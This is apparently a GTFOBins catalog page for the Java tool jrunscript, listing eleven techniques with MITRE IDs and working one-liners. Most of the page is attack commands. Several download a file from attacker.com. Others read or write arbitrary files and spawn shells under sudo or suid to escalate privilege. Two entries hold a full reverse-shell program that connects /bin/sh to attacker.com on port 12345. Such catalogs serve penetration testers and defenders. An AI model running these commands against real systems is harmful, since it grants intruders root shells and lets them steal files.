CatalogGTFOBins

GTFO · Tool

jrunscript

11 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadLinux
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege EscalationLinux
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
    while ((line = br.readLine()) != null) { print(line); }'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
    while ((line = br.readLine()) != null) { print(line); }'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
    fw.write("DATA");
    fw.close();'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WriteLinux
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
    fw.write("DATA");
    fw.close();'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux
jrunscript -e 'var host="attacker.com";
    var port=12345;
    var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
    var s=new java.net.Socket(host,port);
    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    java.lang.Thread.sleep(50);
    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellLinux
jrunscript -e 'var host="attacker.com";
    var port=12345;
    var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
    var s=new java.net.Socket(host,port);
    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    java.lang.Thread.sleep(50);
    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege EscalationLinux
jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

This has been found working in macOS but failing on Linux systems.

jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
jrunscript -e 'exec("/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty")'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059